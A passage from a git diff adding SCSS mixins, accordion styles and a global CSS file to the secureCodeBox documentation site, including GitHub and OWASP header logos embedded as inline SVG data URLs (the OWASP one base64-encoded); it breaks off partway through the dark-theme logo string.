desktops +$screen-xl-min: 1200px; \ No newline at end of file diff --git a/documentation/src/css/_mixins.scss b/documentation/src/css/_mixins.scss new file mode 100644 index 0000000000..6dddb376dc --- /dev/null +++ b/documentation/src/css/_mixins.scss @@ -0,0 +1,42 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +@import './breakpoints'; + +// Small devices +@mixin sm { + @media (min-width: #{$screen-sm-min}) { + @content; + } +} + +// Medium devices +@mixin md { + @media (min-width: #{$screen-md-min}) { + @content; + } +} + +// Large devices +@mixin lg { + @media (min-width: #{$screen-lg-min}) { + @content; + } +} + +// Extra large devices +@mixin xl { + @media (min-width: #{$screen-xl-min}) { + @content; + } +} + +// Custom devices +@mixin rwd($screen) { + @media (min-width: $screen+'px') { + @content; + } +} \ No newline at end of file diff --git a/documentation/src/css/accordion.module.scss b/documentation/src/css/accordion.module.scss new file mode 100644 index 0000000000..6ee04a207e --- /dev/null +++ b/documentation/src/css/accordion.module.scss @@ -0,0 +1,78 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +@import "./mixins"; + +.accordion { + margin: 20px auto; + border-top: 1px solid var(--accent-color-main); + border-bottom: 1px solid var(--accent-color-main); +} + +.accordionItem + .accordionItem { + border-top: 1px solid var(--accent-color-main); +} + +.accordionButton { + cursor: pointer; + padding: 10px; + font-weight: bold; +} + +.accordionButton:hover { + background-color: #ddd; +} +.accordionButton:hover.dark { + background-color: gray; +} + +.accordionButton:before { + color: var(--accent-color-main); + display: inline-block; + content: ""; + height: 10px; + width: 10px; + margin-right: 12px; + border-bottom: 3px solid currentColor; + border-right: 3px solid currentColor; + transform: rotate(-45deg); +} + +.accordionButton[aria-expanded="true"]::before, +.accordionButton[aria-selected="true"]::before { + transform: rotate(45deg); +} + +[hidden] { + display: none; +} + +.accordionPanel { + padding: 20px; + animation: fadein 0.2s ease-in; +} + +/* -------------------------------------------------- */ +/* ---------------- Animation part ------------------ */ +/* -------------------------------------------------- */ + +@keyframes fadein { + 0% { + opacity: 0; + } + + 100% { + opacity: 1; + } +} + +/* ---------------- Mobile Utility ------------------ */ + +.width80 { + @include lg { + width: 80%; + } +} diff --git a/documentation/src/css/custom.css b/documentation/src/css/custom.css new file mode 100644 index 0000000000..4f328a7c62 --- /dev/null +++ b/documentation/src/css/custom.css @@ -0,0 +1,102 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +/* stylelint-disable docusaurus/copyright-header */ +/** + * Any CSS included here will be global. The classic template + * bundles Infima by default. Infima is a CSS framework designed to + * work well for content-centric websites. + */ + +/* You can override the default Infima variables here. */ +:root { + --ifm-color-primary: #77b9e8; + --ifm-color-primary-dark: #55a8e2; + --ifm-color-primary-darker: #49a2e0; + --ifm-color-primary-darkest: #3296dc; + --ifm-color-primary-light: #2389d0; + --ifm-color-primary-lighter: #2181c4; + --ifm-color-primary-lightest: #1c6aa1; + --ifm-code-font-size: 95%; + + /* Custom variables */ + --accent-color-main: #00b2bb; + --accent-color-highlight: #37dae2; +} + +body { + /* Overwrite search bar styling + See https://www.algolia.com/doc/ui-libraries/autocomplete/api-reference/autocomplete-theme-classic/ + */ + --aa-primary-color-rgb: 0, 178, 187; /* = color-primary */ + --aa-input-border-color-rgb: 55, 218, 226; /* = color-primary-lightest */ +} + +.docusaurus-highlight-code-line { + background-color: rgb(72, 77, 91); + display: block; + margin: 0 calc(-1 * var(--ifm-pre-padding)); + padding: 0 var(--ifm-pre-padding); +} + +/* closes big gap between the logos */ +.header-github-link { + padding-right: 0px !important; +} + +/* +Github Logo as CSS class by using a SVG in a Data-URL. +The SVG content must be URL escaped for this to work. +See also: https://stackoverflow.com/questions/10768451/inline-svg-in-css +*/ +.header-github-link::before { + content: ""; + width: 24px; + height: 24px; + display: flex; + background: url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12'/%3E%3C/svg%3E") + no-repeat; +} + +html[data-theme="dark"] .header-github-link::before { + background: url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12'/%3E%3C/svg%3E") + no-repeat; +} + +/* +To create a CSS class that represents the OWASP Logo we used the OWAS_LOGO_BLACK.svg and OWASP_LOGO_WHITE.svg +from the static folder and base64 encoded the content using any programming language or online tool. +We did not use Data-URL like for the Github Logo because it can be tedious to correctly URL Escape the content. +To change the logo one can use any other svg, base64 encode the <svg> tag and it's content and insert it after "base64," +in the background attribute. If no Logo is shown try increasing the width and height to see if it is an offset/scaling issue +which can be solved by adjusting the svg (viewbox etc.). +See also: https://stackoverflow.com/questions/10768451/inline-svg-in-css +*/ +.header-owasp-link::before { + content: ""; + width: 24px; + height: 24px; + display: flex; + padding: 0; + background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcKICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIgogICB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiCiAgIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM6c29kaXBvZGk9Imh0dHA6Ly9zb2RpcG9kaS5zb3VyY2Vmb3JnZS5uZXQvRFREL3NvZGlwb2RpLTAuZHRkIgogICB4bWxuczppbmtzY2FwZT0iaHR0cDovL3d3dy5pbmtzY2FwZS5vcmcvbmFtZXNwYWNlcy9pbmtzY2FwZSIKICAgdmlld0JveD0iMCAwIDI2MS40OTMzMiAyNjEuNTA2NjgiCiAgIHdpZHRoPSIyNCIKICAgaGVpZ2h0PSIyNCIKICAgeG1sOnNwYWNlPSJwcmVzZXJ2ZSIKICAgaWQ9InN2ZzIiCiAgIHZlcnNpb249IjEuMSIKICAgc29kaXBvZGk6ZG9jbmFtZT0ibG9nby5zdmciCiAgIGlua3NjYXBlOnZlcnNpb249IjAuOTIuNCAoNWRhNjg5YzMxMywgMjAxOS0wMS0xNCkiPjxzb2RpcG9kaTpuYW1lZHZpZXcKICAgICBwYWdlY29sb3I9IiNmZmZmZmYiCiAgICAgYm9yZGVyY29sb3I9IiM2NjY2NjYiCiAgICAgYm9yZGVyb3BhY2l0eT0iMSIKICAgICBvYmplY3R0b2xlcmFuY2U9IjEwIgogICAgIGdyaWR0b2xlcmFuY2U9IjEwIgogICAgIGd1aWRldG9sZXJhbmNlPSIxMCIKICAgICBpbmtzY2FwZTpwYWdlb3BhY2l0eT0iMCIKICAgICBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIgogICAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTkyMCIKICAgICBpbmtzY2FwZTp3aW5kb3ctaGVpZ2h0PSIxMDQ4IgogICAgIGlkPSJuYW1lZHZpZXczNzY3IgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBpbmtzY2FwZTp6b29tPSIzLjE3MzkxNTEiCiAgICAgaW5rc2NhcGU6Y3g9IjEzMC43NDY2NiIKICAgICBpbmtzY2FwZTpjeT0iMTMwLjc1MzM0IgogICAgIGlua3NjYXBlOndpbmRvdy14PSIwIgogICAgIGlua3NjYXBlOndpbmRvdy15PSIxNiIKICAgICBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIgogICAgIGlua3NjYXBlOmN1cnJlbnQtbGF5ZXI9InN2ZzIiIC8+PG1ldGFkYXRhCiAgICAgaWQ9Im1ldGFkYXRhOCI+PHJkZjpSREY+PGNjOldvcmsKICAgICAgICAgcmRmOmFib3V0PSIiPjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PjxkYzp0eXBlCiAgICAgICAgICAgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIgLz48L2NjOldvcms+PC9yZGY6UkRGPjwvbWV0YWRhdGE+PGRlZnMKICAgICBpZD0iZGVmczYiIC8+PGcKICAgICB0cmFuc2Zvcm09Im1hdHJpeCgxLjMzMzMzMzMsMCwwLC0xLjMzMzMzMzMsMCwyNjEuNTA2NjcpIgogICAgIGlkPSJnMTAiPjxnCiAgICAgICB0cmFuc2Zvcm09InNjYWxlKDAuMSkiCiAgICAgICBpZD0iZzEyIj48cGF0aAogICAgICAgICBpZD0icGF0aDE0IgogICAgICAgICBzdHlsZT0iZmlsbDojMDAwMDAwO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICBkPSJNIDk4MC42MjksMCBDIDQzOS4wNDMsMCAwLDQzOS4wNTEgMCw5ODAuNjM3IDAsMTUyMi4yMiA0MzkuMDQzLDE5NjEuMjcgOTgwLjYyOSwxOTYxLjI3IDE1MjIuMiwxOTYxLjI3IDE5NjEuMjUsMTUyMi4yMiAxOTYxLjI1LDk4MC42MzcgMTk2MS4yNSw0MzkuMDUxIDE1MjIuMiwwIDk4MC42MjksMCBtIC0wLjAwOCwxODEwLjM1IGMgLTQ1OC4yMjYsMCAtODI5LjcwNywtMzcxLjQ4IC04MjkuNzA3LC04MjkuNzA1IDAsLTQ1OC4yMzUgMzcxLjQ4MSwtODI5LjcxNSA4MjkuNzA3LC04MjkuNzE1IDQ1OC4yMTksMCA4MjkuNjk5LDM3MS40OCA4MjkuNjk5LDgyOS43MTUgMCw0NTguMjI1IC0zNzEuNDgsODI5LjcwNSAtODI5LjY5OSw4MjkuNzA1IiAvPjxwYXRoCiAgICAgICAgIGlkPSJwYXRoMTYiCiAgICAgICAgIHN0eWxlPSJmaWxsOiMwMDAwMDA7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgIGQ9Im0gMTI5OS4xLDI4NS43NSBjIC0zMS4zNiwwLjAyIC0xNDUuNjQsMjAzLjQxIC0xNjEsMjYxLjM5OCAtMzIuMTEsMTIxLjQxMSAtMjUuMiwxNzIuNzA0IC0yMy4yOCwxODkuMTAyIDUuODgsNTAuMDcgNTQuNDYsNzUuMDkgNTcuNCwxNDIuODAxIDAuOTEsMjAuOTEgMTEuNDcsMTI1LjQ0OSAxOS45LDIwNy4xMDkgLTIwLjgsNC4wNyAtNDEuNTIsMTMuNDUgLTU5Ljk0LDI4IDU1LjMsLTc0LjE3IC0yNi4wOSwtMTYzLjA1OCAtMTQ0LjM1MiwtMjgxLjMzMiBDIDg2Mi4zMDUsNzA3LjMwOSA1ODMuNjk1LDU5MC44MDkgNTgzLjY5NSw1OTAuODA5IGMgMCwwIDExNi41MDgsMjc4LjYxMyAyNDIuMDI0LDQwNC4xMzIgOTIuMjY5LDkyLjI1OSAxNjYuNjM2LDE2Mi4wNzkgMjMwLjEwMSwxNjIuMDc5IDE3Ljg5LDAgMzQuOTIsLTUuNTUgNTEuMjMsLTE3LjcgLTE0LjU2LDE4LjQxIC0yMy45MywzOS4xMiAtMjguMDEsNTkuOTIgLTgxLjY2MSwtOC40NSAtMTg2LjIwOCwtMTguOTkgLTIwNy4xMDYsLTE5LjkxIC02Ny43MTksLTIuOTQgLTkyLjc0MywtNTEuNTIgLTE0Mi43ODIsLTU3LjM5IC01Ljc2MSwtMC42OCAtMTUuODI4LC0xLjk4IC0zMS43MjIsLTEuOTggLTI5LjM2NywwIC03OC42MjksNC40MiAtMTU3LjM4NywyNS4yNyAtNjMuMDcsMTYuNjggLTI5OC4wNzgsMTUwLjM3IC0yNTYuNTEyLDE2Ny4xNyAyMS4xOTYsOC41OCA4OC43NSwxNC4zOCAxNzcuNzE1LDE0LjM4IDg1LjU1OSwwIDE5MC45MjIsLTUuMzYgMjkzLjg0NCwtMTguNzcgMTI4LjMyOCwtMTYuNzIgMjQ2LC0zNy44NyAzMjYuMTksLTUzLjYgMS4zLDQuMzEgMi44Niw4LjUgNC43MywxMi41NyBsIC04MS45OCwzOS4yOSBjIDAsMCAtNjUuNDc5LDc1LjE0IC01OC40ODcsODAuMzIgMC4yNywwLjIgMC42MTMsMC4zIDEuMDIzLDAuMyAxMC4yNywwIDYyLjY1NCwtNTkuODkgNjcuNjk0LC02Ni43MSAzLjg4LC0xLjI5IDI2LjA5LC04LjcgNDkuNDUsLTE2LjQ3IGwgLTIzLjE5LDIwLjI4IGMgMCwwIC0zMS43NCwxMTcuNTUgLTIzLjQ3LDEyMC4zMiAwLjEsMC4wMyAwLjIxLDAuMDUgMC4zMywwLjA1IDguNzEsMCAzNy41MSwtMTAyLjIyIDM5Ljk4LC0xMDkuNTYgNS42NiwtNC45NiAyNC43OCwtMTIuNDEgNDguNjcsLTI2LjE5IGwgLTI1LjEyLDY0LjYyIGMgMCwwIDExLjM3LDEwNi42MSAxOS44OCwxMDYuNjEgMC4wNywwIDAuMTMsLTAuMDEgMC4yLC0wLjAyIDguNTcsLTEuNzEgLTEuNjgsLTg4LjkyIC0zLjg1LC05OS43OCAzLjExLC00Ljc3IDIyLjM4LC0zNC4zMyA0MS43LC02My45NyAxMS44OSw0LjQ4IDI0LjY4LDYuNjkgMzcuODEsNi42OSAxNS4wNywwIDMwLjU3LC0yLjkyIDQ1LjYxLC04LjY3IC0xOS4yNiw0MS4wMSAtMTcuOCw4My43NSA3Ljc0LDEwOS4yNyA4LjA4LDguMSAxNy45LDEzLjc1IDI4Ljg0LDE3LjEgMS4zMiw3LjQ2IDQuNzgsMTQuNTQgMTAuNDUsMjAuMjIgNy4zOSw3LjM4IDE3LjEyLDExLjA1IDI2Ljk3LDExLjA1IDEwLjMxLDAgMjAuNzYsLTQuMDMgMjguNzYsLTEyLjA0IDcuNjcsLTcuNjUgMTEuNjUsLTE3LjU0IDExLjk5LC0yNy4zOSAxMi4zMywyNS40MSAyNi44OCw1OS43IDI1Ljg2LDcwLjgxIC0yLjM3LDI1LjE0IC0zMS41Myw2OS42NCAtMzEuOCw3MC4wOSAtMS45LDIuODcgLTEuMTEsNi43NSAxLjc4LDguNjYgMS4wNSwwLjY5IDIuMjQsMS4wMiAzLjQyLDEuMDIgMi4wMywwIDQuMDIsLTAuOTkgNS4yMSwtMi44MiAxLjI5LC0xLjkyIDMxLjE3LC00Ny41NCAzMy44MywtNzUuNzkgMS40OCwtMTYuMTYgLTE3LjA3LC01Ni44OCAtMjcuMTgsLTc3LjY4IDE0LjIsLTcuNzcgMjguMDQsLTE4LjAzIDQwLjY4LC0zMC42NyAxMi42MywtMTIuNjMgMjIuODksLTI2LjQ3IDMwLjY3LC00MC42OCAyMC4wMSw5LjczIDU4LjQsMjcuMjYgNzUuNzEsMjcuMjYgMC42OSwwIDEuMzUsLTAuMDIgMS45NywtMC4wOCAyOC4yNCwtMi42NiA3My44NywtMzIuNTQgNzUuNzgsLTMzLjgxIDIuODgsLTEuODkgMy42OCwtNS43NyAxLjc4LC04LjY1IC0xLjIsLTEuODIgLTMuMTksLTIuODEgLTUuMjIsLTIuODEgLTEuMTcsMCAtMi4zNiwwLjMzIC0zLjQxLDEuMDMgLTAuNDUsMC4yOSAtNDQuOTQsMjkuNDQgLTcwLjA5LDMxLjc5IC0wLjM4LDAuMDQgLTAuNzksMC4wNSAtMS4yMiwwLjA1IC0xMi4yMywwIC00NS4wNywtMTMuOTcgLTY5LjYxLC0yNS44OSA5Ljg3LC0wLjMzIDE5Ljc2LC00LjMzIDI3LjQsLTEyIDE1LjY3LC0xNS42NSAxNi4xLC00MC41OSAwLjk5LC01NS43IC01LjY3LC01LjY4IC0xMi43NCwtOS4xNyAtMjAuMiwtMTAuNDcgLTMuMzcsLTEwLjk1IC05LjAzLC0yMC43NyAtMTcuMTEsLTI4Ljg1IC0xNC4wOCwtMTQuMDkgLTMzLjM4LC0yMC44NCAtNTQuNzYsLTIwLjg0IC0xNy4zOCwwIC0zNi4xMyw0LjQ3IC01NC41MiwxMy4xIDEwLjc3LC0yOC4xMiAxMS41OSwtNTcuODkgMS45OSwtODMuNDEgMjkuNjIsLTE5LjMyIDU5LjIyLC0zOC42IDYzLjk2LC00MS43MSA3Ljc4LDEuNTUgNTQuNSw3LjIyIDgxLjE3LDcuMjIgMTAuNjYsMCAxOC4xMywtMC45IDE4LjYxLC0zLjM0IDEuNzMsLTguNTYgLTEwNi41NywtMjAuMTIgLTEwNi41NywtMjAuMTIgbCAtNjQuNjMsMjUuMTUgYyAxMy43OSwtMjMuOTEgMjEuMjEsLTQzLjAyIDI2LjE4LC00OC42OSA3LjQ3LC0yLjUgMTEyLjI2LC0zMi4wNCAxMDkuNSwtNDAuMzEgLTAuMzEsLTAuOTYgLTIuMTUsLTEuMzcgLTUuMTYsLTEuMzcgLTIzLjEsMCAtMTE1LjE0LDI0Ljg1IC0xMTUuMTQsMjQuODUgbCAtMjAuMywyMy4xOSBjIDcuNzksLTIzLjM3IDE1LjE4LC00NS41NiAxNi40OSwtNDkuNDUgNy4xLC01LjI1IDcxLjU3LC02MS43IDY2LjQsLTY4LjcwOCAtMC4yNywtMC4zNjMgLTAuNzEsLTAuNTI0IC0xLjMyLC0wLjUyNCAtMTEuMzEsMCAtNzguOTksNTguOTkyIC03OC45OSw1OC45OTIgbCAtMzkuMyw4MS45OSBjIC00LjA2LC0xLjg4IC04LjI2LC0zLjQyIC0xMi41OCwtNC43MyAxNS43MywtODAuMTkgMzYuODksLTE5Ny44NjEgNTMuNjMsLTMyNi4xODEgMjcuMzQsLTIwOS45NDkgMjEuMTksLTQyOS45NjkgNC4zOSwtNDcxLjU3MSAtMS4zNSwtMy4zNDcgLTMuNDYsLTQuODk4IC02LjIsLTQuODk4IiAvPjwvZz48L2c+Cjwvc3ZnPg=="); +} + +html[data-theme="dark"] .header-owasp-link::before { + background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcKICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIgogICB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiCiAgIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM6c29kaXBvZGk9Imh0dHA6Ly9zb2RpcG9kaS5zb3VyY2Vmb3JnZS5uZXQvRFREL3NvZGlwb2RpLTAuZHRkIgogICB4bWxuczppbmtzY2FwZT0iaHR0cDovL3d3dy5pbmtzY2FwZS5vcmcvbmFtZXNwYWNlcy9pbmtzY2FwZSIKICAgdmlld0JveD0iMCAwIDI2MS40OTMzMiAyNjEuNTA2NjgiCiAgIHdpZHRoPSIyNCIKICAgaGVpZ2h0PSIyNCIKICAgeG1sOnNwYWNlPSJwcmVzZXJ2ZSIKICAgaWQ9InN2ZzIiCiAgIHZlcnNpb249IjEuMSIKICAgc29kaXBvZGk6ZG9jbmFtZT0ibG9nby5zdmciCiAgIGlua3NjYXBlOnZlcnNpb249IjAuOTIuNCAoNWRhNjg5YzMxMywgMjAxOS0wMS0xNCkiPjxzb2RpcG9kaTpuYW1lZHZpZXcKICAgICBwYWdlY29sb3I9IiNmZmZmZmYiCiAgICAgYm9yZGVyY29sb3I9IiM2NjY2NjYiCiAgICAgYm9yZGVyb3BhY2l0eT0iMSIKICAgICBvYmplY3R0b2xlcmFuY2U9IjEwIgogICAgIGdyaWR0b2xlcmFuY2U9IjEwIgogICAgIGd1aWRldG9sZXJhbmNlPSIxMCIKICAgICBpbmtzY2FwZTpwYWdlb3BhY2l0eT0iMCIKICAgICBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIgogICAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTkyMCIKICAgICBpbmtzY2FwZTp3aW5kb3ctaGVpZ2h0PSIxMDQ4IgogICAgIGlkPSJuYW1lZHZpZXczNzY3IgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBpbmtzY2FwZTp6b29tPSIzLjE3MzkxNTEiCiAgICAgaW5rc2NhcGU6Y3g9IjEzMC43NDY2NiIKICAgICBpbmtzY2FwZTpjeT0iMTMwLjc1MzM0IgogICAgIGlua3NjYXBlOndpbmRvdy14PSIwIgogICAgIGlua3NjYXBlOndpbmRvdy15PSIxNiIKICAgICBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIgogICAgIGlua3NjYXBlOmN1cnJlbnQtbGF5ZXI9InN2ZzIiIC8+PG1ldGFkYXRhCiAgICAgaWQ9Im1ldGFkYXRhOCI+PHJkZjpSREY+PGNjOldvcmsKICAgICAgICAgcmRmOmFib3V0PSIiPjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PjxkYzp0eXBlCiAgICAgICAgICAgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIgLz48L2NjOldvcms+PC9yZGY6UkRGPjwvbWV0YWRhdGE+PGRlZnMKICAgICBpZD0iZGVmczYiIC8+PGcKICAgICB0cmFuc2Zvcm09Im1hdHJpeCgxLjMzMzMzMzMsMCwwLC0xLjMzMzMzMzMsMCwyNjEuNTA2NjcpIgogICAgIGlkPSJnMTAiPjxnCiAgICAgICB0cmFuc2Zvcm09InNjYWxlKDAuMSkiCiAgICAgICBpZD0iZzEyIj48cGF0aAogICAgICAgICBpZD0icGF0aDE0IgogICAgICAgICBzdHlsZT0iZmlsbDojZmZmZmZmO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICBkPSJNIDk4MC42MjksMCBDIDQzOS4wNDMsMCAwLDQzOS4wNTEgMCw5ODAuNjM3IDAsMTUyMi4yMiA0MzkuMDQzLDE5NjEuMjcgOTgwLjYyOSwxOTYxLjI3IDE1MjIuMiwxOTYxLjI3IDE5NjEuMjUsMTUyMi4yMiAxOTYxLjI1LDk4MC42MzcgMTk2MS4yNSw0MzkuMDUxIDE1MjIuMiwwIDk4MC42MjksMCBtIC0wLjAwOCwxODEwLjM1IGMgLTQ1OC4yMjYsMCAtODI5LjcwNywtMzcxLjQ4IC04MjkuNzA3LC04MjkuNzA1IDAsLTQ1OC4yMzUgMzcxLjQ4MSwtODI5LjcxNSA4MjkuNzA3LC04MjkuNzE1IDQ1OC4yMTksMCA4MjkuNjk5LDM3MS40OCA4MjkuNjk5LDgyOS43MTUgMCw0NTguMjI1IC0zNzEuNDgsODI5LjcwNSAtODI5LjY5OSw4MjkuNzA1IiAvPjxwYXRoCiAgICAgICAgIGlkPSJwYXRoMTYiCiAgICAgICAgIHN0eWxlPSJmaWxsOiNmZmZmZmY7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgIGQ9Im0gMTI5OS4xLDI4NS43NSBjIC0zMS4zNiwwLjAyIC0xNDUuNjQsMjAzLjQxIC0xNjEsMjYxLjM5OCAtMzIuMTEsMTIxLjQxMSAtMjUuMiwxNzIuNzA0IC0yMy4yOCwxODkuMTAyIDUuODgsNTAuMDcgNTQuNDYsNzUuMDkgNTcuNCwxNDIuODAxIDAuOTEsMjAuOTEgMTEuNDcsMTI1LjQ0OSAxOS45LDIwNy4xMDkgLTIwLjgsNC4wNyAtNDEuNTIsMTMuNDUgLTU5Ljk0LDI4IDU1LjMsLTc0LjE3IC0yNi4wOSwtMTYzLjA1OCAtMTQ0LjM1MiwtMjgxLjMzMiBDIDg2Mi4zMDUsNzA3LjMwOSA1ODMuNjk1LDU5MC44MDkgNTgzLjY5NSw1OTAuODA5IGMgMCwwIDExNi41MDgsMjc4LjYxMyAyNDIuMDI0LDQwNC4xMzIgOTIuMjY5LDkyLjI1OSAxNjYuNjM2LDE2Mi4wNzkgMjMwLjEwMSwxNjIuMDc5IDE3Ljg5LDAgMzQuOTIsLTUuNTUgNTEuMjMsLTE3LjcgLTE0LjU2LDE4LjQxIC0yMy45MywzOS4xMiAtMjguMDEsNTkuOTIgLTgxLjY2MSwtOC40NSAtMTg2LjIwOCwtMTguOTkgLTIwNy4xMDYsLTE5LjkxIC02Ny43MTksLTIuOTQgLTkyLjc0MywtNTEuNTIgLTE0Mi43ODIsLTU3LjM5IC01Ljc2MSwtMC42OCAtMTUuODI4LC0xLjk4IC0zMS43MjIsLTEuOTggLTI5LjM2NywwIC03OC42MjksNC40MiAtMTU3LjM4NywyNS4yNyAtNjMuMDcsMTYuNjggLTI5OC4wNzgsMTUwLjM3IC0yNTYuNTEyLDE2Ny4xNyAyMS4xOTYsOC41OCA4OC43NSwxNC4zOCAxNzcuNzE1LDE0LjM4IDg1LjU1OSwwIDE5MC45MjIsLTUuMzYgMjkzLjg0NCwtMTguNzcgMTI4LjMyOCwtMTYuNzIgMjQ2LC0zNy44NyAzMjYuMTksLTUzLjYgMS4zLDQuMzEgMi44Niw4LjUgNC43MywxMi41NyBsIC04MS45OCwzOS4yOSBjIDAsMCAtNjUuNDc5LDc1LjE0IC01OC40ODcsODAuMzIgMC4yNywwLjIgMC42MTMsMC4zIDEuMDIzLDAuMyAxMC4yNywwIDYyLjY1NCwtNTkuODkgNjcuNjk0LC02Ni43MSAzLjg4LC0xLjI5IDI2LjA5LC04LjcgNDkuNDUsLTE2LjQ3IGwgLTIzLjE5LDIwLjI4IGMgMCwwIC0zMS43NCwxMTcuNTUgLTIzLjQ3LDEyMC4zMiAwLjEsMC4wMyAwLjIxLDAuMDUgMC4zMywwLjA1IDguNzEsMCAzNy41MSwtMTAyLjIyIDM5Ljk4LC0xMDkuNTYgNS42NiwtNC45NiAyNC43OCwtMTIuNDEgNDguNjcsLTI2LjE5IGwgLTI1LjEyLDY0LjYyIGMgMCwwIDExLjM3LDEwNi42MSAxOS44OCwxMDYuNjEgMC4wNywwIDAuMTMsLTAuMDEgMC4yLC0wLjAyIDguNTcsLTEuNzEgLTEuNjgsLTg4LjkyIC0zLjg1LC05OS43OCAzLjExLC00Ljc3IDIyLjM4LC0zNC4zMyA0MS43LC02My45NyAxMS44OSw0LjQ4IDI0LjY4LDYuNjkgMzcuODEsNi42OSAxNS4wNywwIDMwLjU3LC0yLjkyIDQ1LjYxLC04LjY3IC0xOS4yNiw0MS4wMSAtMTcuOCw4My43NSA3Ljc0LDEwOS4yNyA4LjA4LDguMSAxNy45LDEzLjc1IDI4Ljg0LDE3LjEgMS4zMiw3LjQ2IDQuNzgsMTQuNTQgMTAuNDUsMjAuMjIgNy4zOSw3LjM4IDE3LjEyLDExLjA1IDI2Ljk3LDExLjA1IDEwLjMxLDAgMjAuNzYsLTQuMDMgMjguNzYsLTEyLjA0IDcuNjcsLTcuNjUgMTEuNjUsLTE3LjU0IDExLjk5LC0yNy4zOSAxMi4zMywyNS40MSAyNi44OCw1OS43IDI1Ljg2LDcwLjgxIC0yLjM3LDI1LjE0IC0zMS41Myw2OS42NCAtMzEuO